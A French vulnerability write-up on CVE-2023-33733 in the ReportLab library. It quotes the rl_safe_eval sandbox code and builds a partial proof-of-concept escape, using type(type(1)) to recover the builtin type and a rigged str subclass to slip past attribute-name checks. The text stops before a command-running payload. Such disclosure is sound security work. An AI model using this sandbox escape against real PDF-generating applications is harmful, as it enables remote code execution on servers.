
Analyse technique détaillée et exploit proof-of-concept pour CVE-2023-33733, une vulnérabilité d'exécution de code à distance dans la bibliothèque Python Reportlab via un contournement du sandbox dans le traitement HTML vers PDF.
en résumé Cet article détaille comment une RCE dans Reportlab a été trouvée et exploitée. En raison de la prévalence de Reportlab dans le traitement HTML vers PDF, cette vulnérabilité peut être accessible dans de nombreuses applications qui traitent des fichiers PDF, ce qui en fait une vulnérabilité importante à corriger et à surveiller.
Il y a quelques jours, lors d’un audit d’application web, nous avons remarqué que l’application utilisait la bibliothèque Python Reportlab pour générer dynamiquement des fichiers PDF à partir d’une entrée HTML. Reportlab s’est avéré présenter une vulnérabilité précédemment corrigée menant à une exécution de code. Cela signifie que trouver un contournement du correctif était assez intéressant du point de vue de l’attaquant, car cela conduirait à la redécouverte de l’exécution de code, d’autant plus que la bibliothèque Reportlab est également utilisée dans d’autres applications et outils.
Tout d’abord, un bref rappel : Reportlab est un projet Open Source qui permet la création de documents au format PDF (Portable Document Format) d’Adobe en utilisant le langage de programmation Python. Il crée également des graphiques et des données graphiques dans divers formats bitmap et vectoriels ainsi que des PDF.
La bibliothèque a connu en 2019 une exploitation similaire menant à une exécution de code à distance via l’attribut Color des balises HTML ; le contenu de l’attribut était directement évalué comme une expression Python à l’aide de la fonction eval, conduisant ainsi à une exécution de code. Pour atténuer le problème, Reportlab a implémenté un bac à sable appelé rl_safe_eval qui est dépouillé de toutes les fonctions intégrées Python et possède de multiples fonctions intégrées surchargées pour permettre l’exécution du code sécurisé de la bibliothèque tout en empêchant tout accès aux fonctions et bibliothèques dangereuses qui pourraient ensuite conduire à la construction de code Python dangereux :
Un exemple de ces mesures de prévention est que la fonction intégrée getattr est remplacée par une fonction restreinte __rl_getitem__ qui interdit l’accès à tout attribut dangereux des objets, comme ceux commençant par __ :
class __RL_SAFE_ENV__(object):
__time_time__ = time.time
__weakref_ref__ = weakref.ref
__slicetype__ = type(slice(0))
def __init__(self, timeout=None, allowed_magic_methods=None):
self.timeout = timeout if timeout is not None else self.__rl_tmax__
self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
else allowed_magic_methods) if allowed_magic_methods else []
#[...]
# DANS CETTE LIGNE, ON PEUT OBSERVER QUE LE GETATR INTÉGRÉ EST REMPLACÉ PAR UNE FONCTION PERSONNALISÉE
# QUI VÉRIFIE LA SÉCURITÉ DU NOM DE L’ATTRIBUT AVANT DE LE RÉCUPÉRER
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
#[...]
def __rl_getattr__(self, obj, a, *args):
if isinstance(obj, strTypes) and a=='format':
raise BadCode('%s.format is not implemented' % type(obj))
# DE NOMBREUSES VÉRIFICATIONS SONT EFFECTUÉES AVANT DE RÉCUPÉRER L’ATTRIBUT ET DE LE RETOURNER
# À L’APPELANT DANS L’ENVIRONNEMENT EVAL SANDBOXÉ
self.__rl_is_allowed_name__(a)
return getattr(obj,a,*args)
def __rl_is_allowed_name__(self, name):
"""Vérifie si les noms sont autorisés.
Si ``allow_magic_methods est True``, les noms dans `__allowed_magic_methods__`
sont également autorisés même s’ils commencent par `_`.
"""
if isinstance(name,strTypes):
# PAS D’ACCÈS AUX ATTRIBUTS COMMENÇANT PAR __ OU CORRESPONDANT À DES NOMS D'ATTRIBUTS NON SÛRS PRÉDÉFINIS
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('accès non sécurisé à %s' % name)
Le eval sécurisé, comme décrit précédemment, nettoie l’environnement de toutes les fonctions dangereuses afin que l’exécution de code n’ait accès à aucun outil dangereux pouvant être utilisé pour exécuter des actions malveillantes. Cependant, si un contournement de ces restrictions est trouvé et qu’un accès à l’une des fonctions intégrées d’origine est obtenu, cela faciliterait grandement l’exploitation de l’environnement sandboxé.
L’une des nombreuses classes intégrées surchargées s’appelle type. Si cette classe est appelée avec un argument, elle retourne le type d’un objet. Cependant, si elle est appelée avec trois arguments, elle retourne un nouvel objet type. C’est essentiellement une forme dynamique de l’instruction class. En d’autres termes, cela peut permettre la création d’une nouvelle classe qui hérite d’une autre classe.
L’idée ici est donc de créer une nouvelle classe appelée Word qui hérite de str de sorte que lorsqu’elle est passée au getattr personnalisé, elle contourne les vérifications et permet l’accès à des attributs sensibles comme __code__.
Avant que le getattr personnalisé dans l’eval sandboxé ne retourne l’attribut, il effectue quelques vérifications en appelant __rl_is_allowed_name__ pour vérifier la sécurité de l’attribut appelé avant d’appeler le getattr intégré de Python et de retourner le résultat.
def __rl_is_allowed_name__(self, name):
"""Vérifie si les noms sont autorisés.
Si ``allow_magic_methods est True``, les noms dans `__allowed_magic_methods__`
sont également autorisés même s’ils commencent par `_`.
"""
if isinstance(name,strTypes):
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('accès non sécurisé à %s' % name)
Pour contourner la fonction __rl_is_allowed_name__, la classe Word doit :
False pour les appels à la fonction startswith afin de contourner (name.startswith('__')False à son premier appel à __eq__ pour contourner name in __rl_unsafe__, après le premier appel, elle doit retourner la réponse correcte car lorsque __eq__ est appelé par le getattr intégré de Python, il doit retourner le résultat correct.La classe suivante remplit ces critères :
Word = type('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
code = Word('__code__')
print(code == '__code__') ## affiche False
print(code == '__code__') ## affiche True
print(code == '__code__') ## affiche True
print(code == '__code__') ## affiche True
print(code.startswith('__')) ## affiche False
La fonction type personnalisée dans le eval sécurisé ne permet pas de lui passer trois arguments :
def __rl_type__(self,*args):
if len(args)==1: return type(*args)
raise BadCode('erreur d’appel type')
Un contournement a été trouvé en appelant type sur lui-même, permettant ainsi de récupérer la fonction type intégrée d’origine :
orgTypeFun = type(type(1))
La combinaison de ces deux lignes de code donnerait quelque chose comme ceci :
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})